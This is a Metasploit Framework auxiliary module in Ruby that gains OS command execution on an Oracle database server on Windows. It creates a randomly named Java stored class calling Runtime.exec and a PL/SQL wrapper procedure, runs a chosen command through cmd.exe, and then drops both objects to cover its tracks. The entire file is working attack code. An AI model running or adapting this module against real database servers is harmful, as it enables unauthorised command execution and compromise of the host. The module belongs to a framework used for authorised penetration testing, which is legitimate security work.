92 lines
2.1 KiB
Ruby
92 lines
2.1 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/projects/Framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::ORACLE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Oracle Java execCommand (Win32)',
|
|
'Description' => %q{
|
|
This module will create a java class which enables the execution of OS commands.
|
|
},
|
|
'Author' => [ 'MC' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'https://www.metasploit.com/users/mc' ],
|
|
],
|
|
'DisclosureDate' => 'Dec 7 2007'))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('CMD', [ false, 'The OS command to execute.', 'echo metasploit > %SYSTEMDRIVE%\\\\unbreakable.txt']),
|
|
], self.class)
|
|
end
|
|
|
|
def run
|
|
return if not check_dependencies
|
|
|
|
source = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
|
|
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
|
|
|
|
java = "
|
|
create or replace and resolve java source named \"#{source}\" as
|
|
import java.lang.*;
|
|
import java.io.*;
|
|
public class #{source}
|
|
{
|
|
public static void execCommand (String command) throws IOException
|
|
{
|
|
Runtime.getRuntime().exec(command);
|
|
}
|
|
};
|
|
"
|
|
|
|
procedure = "
|
|
create or replace procedure #{name} (p_command in varchar2)
|
|
as language java
|
|
name '#{source}.execCommand (java.lang.String)';
|
|
"
|
|
|
|
exec = "begin #{name}('cmd.exe /c #{datastore['CMD']}'); end;"
|
|
|
|
drops = "drop java source #{source}"
|
|
|
|
dropp = "drop procedure #{name}"
|
|
|
|
begin
|
|
print_status("Creating java source '#{source}'...")
|
|
prepare_exec(java)
|
|
rescue => e
|
|
return
|
|
end
|
|
|
|
print_status("Creating procedure '#{name}'...")
|
|
prepare_exec(procedure)
|
|
|
|
print_status("Sending command: '#{datastore['CMD']}'")
|
|
prepare_exec(exec)
|
|
|
|
print_status("Removing java source '#{source}'...")
|
|
prepare_exec(drops)
|
|
|
|
print_status("Removing procedure '#{name}'...")
|
|
prepare_exec(dropp)
|
|
|
|
end
|
|
|
|
end
|